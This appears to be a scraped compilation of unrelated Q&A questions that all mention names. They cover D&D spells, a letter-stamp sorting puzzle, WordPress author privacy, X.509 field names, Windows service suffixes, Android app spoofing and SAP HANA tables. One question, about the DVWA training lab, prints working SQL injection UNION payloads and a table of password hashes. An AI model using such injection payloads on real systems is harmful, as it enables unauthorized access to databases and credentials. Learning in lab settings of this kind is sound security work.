What were the names of the colored bolt spells of old D&D?

I remember hearing from people who played old D&D about a group of spells that were effective at destroying whatever they were aimed at. I think they were called something like black bolt, green bolt, and blue bolt, and they were pretty much the DMs tool for scaring the players… Or the epic players’ tool for scaring the GM. Does anyone know what I’m taking about?

Writing a list of names, with a limited amount of “active” letters at a time. Algorithm to sort the names to reduce the amount of swapping letters?

While making name-tags for a dinner seating, I stumbled upon a problem which I can’t find any algorithm to solve, and I’m not sure where to begin.

The goal is to write the name of each dinner guest on a card, completing one name at a time. The names are written with old-fashioned rubber stamps, so only 6 letters can be "active" at any given time. When a new letter is required, one of the active letters has to be swapped out for the new letter.

The problem is to sort the names in such an order, that I need to do the least amount of letter-swapping.

I want to write the names:

  • Jack
  • Julie
  • Chuck

I can do this with 3 letter-swaps
Initial letters: J A C K H U
Write: Jack, Chuck

{swap A, C, K with L, I, E}

New active letters: J L I E H U
Write: Julie

Now I want to find an algorithm that, given a list of names and a limit of active characters, provide the order of names and which letters to swap at each name, to reduce the total amount of letter-swaps.

Any ideas or pointers are welcome.

How to hide WordPress users’ names externally?

I have several users creating posts in WordPress, but I don’t want any of their names to appear publicly. On the site, I want it to only say By: Website Editor.

This also means that the names should not appear in any other related URLs, for example author URLs. If someone were to visit www.example.com/?author=3 for example, it should not reveal any names. I don’t mind disabling author URLs completely if that’s easier to do.

The SEO plugin I use also shows the name of the author in the source, that’s gotta go away also.

And in the backend, the names should appear just like usual.

How could I achieve this?


Where are field names of decoded human readable X.509 certificates specified?

The ASN.1 module for X.509 certificates as specified in RFC 5912 – Section 14 is as follows:

TBSCertificate  ::=  SEQUENCE  {       version         [0]  Version DEFAULT v1,       serialNumber         CertificateSerialNumber,       signature            AlgorithmIdentifier{SIGNATURE-ALGORITHM,                                 {SignatureAlgorithms}},       issuer               Name,       validity             Validity,       subject              Name,       subjectPublicKeyInfo SubjectPublicKeyInfo,       ... ,       [[2:               -- If present, version MUST be v2       issuerUniqueID  [1]  IMPLICIT UniqueIdentifier OPTIONAL,       subjectUniqueID [2]  IMPLICIT UniqueIdentifier OPTIONAL       ]],       [[3:               -- If present, version MUST be v3 --       extensions      [3]  Extensions{{CertExtensions}} OPTIONAL       ]], ... }  

The field names are the same in RFC 5280.

The decoded example certificate on the X.509 Wikipedia page however has completely different field names:

Certificate:     Data:         Version: 3 (0x2)         Serial Number:             10:e6:fc:62:b7:41:8a:d5:00:5e:45:b6         Signature Algorithm: sha256WithRSAEncryption         Issuer: C=BE, O=GlobalSign nv-sa, CN=GlobalSign Organization Validation CA - SHA256 - G2         Validity             Not Before: Nov 21 08:00:00 2016 GMT             Not After : Nov 22 07:59:59 2017 GMT         Subject: C=US, ST=California, L=San Francisco, O=Wikimedia Foundation, Inc., CN=*.wikipedia.org         Subject Public Key Info:             Public Key Algorithm: id-ecPublicKey                 Public-Key: (256 bit)             pub:                      00:c9:22:69:31:8a:d6:6c:ea:da:c3:7f:2c:ac:a5:                     af:c0:02:ea:81:cb:65:b9:fd:0c:6d:46:5b:c9:1e:                     9d:3b:ef                 ASN1 OID: prime256v1                 NIST CURVE: P-256         X509v3 extensions:             X509v3 Key Usage: critical                 Digital Signature, Key Agreement          ... 

Signature Algorithm instead of algorithm, X509v3 extensions instead of just extensions.

Since the certificate has version 3, i would assume it doesn’t have anything to do with the version…

Of course i searched for various field names like X509v3 Key Usage or X509v3 CRL Distribution Points but couldn’t find any reference.

So where are the field names of the decoded human readable X.509 certificate specified or mapped?

Suspicious termination in some Windows Services names [closed]


I’ve been poking around the Services tab on my Windows machine and saw some services with a "normal" name but this termination _1f699ad as in the next examples:

  • ConsentUX_1f699ad
  • CredentialEnrollmentManagerUserSvc_1f699ad
  • DevicePicker_1f699ad
  • and many more with the same termination

Here some pictures taken from the services tab.

enter image description here enter image description here enter image description here

My question is simple: Is this OK or should I be worried?

Because some of them have access to ScreenCapture and others which can potentially be harmful (i.e data theft) and I see no reason to add a meaningless termination other than supersede and stay hidden.

DVWA SQLi: How to get column names from table “users” only? [closed]

This is DVWA database. There are only 2 tables in it.

mysql> show tables;  +----------------+ | Tables_in_dvwa | +----------------+ | guestbook      |  | users          |  +----------------+ 2 rows in set (0.00 sec)  mysql>  

I’ve no issue getting these 2 tables via SQL injection bug' UNION SELECT GROUP_CONCAT(table_name),2 FROM information_schema.tables WHERE table_schema=DATABASE() -- -&Submit=Submit# 

Output in web (TABLE_NAME in “dvwa” DATABASE)

First name: guestbook,users 

Table “users” looks interesting and would like to know all columns in it.

There are 6 columns as shown in MySQL query below.

mysql> SELECT * FROM users; +---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+ | user_id | first_name | last_name | user    | password                         | avatar                                                | +---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+ |       1 | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 |   |  |       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | |  |       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b |    |  |       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 |   |  |       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 |  |  +---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+ 5 rows in set (0.00 sec)  mysql>  

However, my next attempt to get only columns from table users didn’t work well.' UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_schema=DATABASE() -- -&Submit=Submit# 

Output in web

First name: comment_id,comment,name,user_id,first_name,last_name,user,password,avatar 

The problem is columns comment_id,comment,name are not part of users table.

What’s wrong in this SQLi syntax and how do I get only column names from table users only.


First name: user_id,first_name,last_name,user,password,avatar 

Its there any built int protection against deceptive app names in Android or that make app listings trustable?

Some functionalities rely on app names and icons for proper use. Like firewall, installed apps list, memory usage statistics. I wonder if there is anything fobidding an app to appear with deceptive names and icons on this apps.

Like, in my firewall, there are over 20 apps who show android icons or have names I don’t know what mean and I don’t have a clue if they are legit.

The built in memory usage functionality from the developer options, for instance, has these two entries: “Android operating system” and “Android system”. I also don’t know if thats correct and both are legit. I’d expect only one such line. The first one use around 500mb, has kernel info and no “stop” option, as on would expect from a OS. The second, uses 2mb and has a “details” page with a “stop” button.

Are there any mechanisms which forbid 3rd party apps of having android icons, or to have names that suggest they they are part of Android?

Is it safe to assume that app listings will really show all installed apps (is there a way for malicious apps keep themselves from showing on these lists)? Is there an official list of apps which are part of android which allows us to identify, for instance, what its safe to allow in our firewalls?

How to rename post names and slugs in bulk?

I have nearly more than 10000 posts in my WordPress site. Now, I want to add(concatenate) a text to all my posts’ names & URLs under a certain category alone. How to do this task in an easy way? Manually work seems very time-consuming.

It is now, before renaming: Post name:152, slug: https://example.com/152 After renaming it should be: Post name:text-152, slug: https://example.com/text-152

Getting full (purpose, usage) Table names in SAP Hana

Each table in SAP Hana has a purpose, for example, BSEG is Accounting Document Segment and BKPF is Accounting Document Header.

Is there anything in Hana (along the lines of Select * From Tables) or a full list elsewhere on the Intertubes, that will get me the purpose\usage of each table in Hana?

I’m trying to put together a Workflow for Alfred that’ll allow me to look up the definitions and it would be nice if I can get it to tell me “Look Up BSEG (Accounting Document Segment)” as I’m searching inside the workflow.

I’ve already got the list of names, just really could do with that purpose\usage if possible!
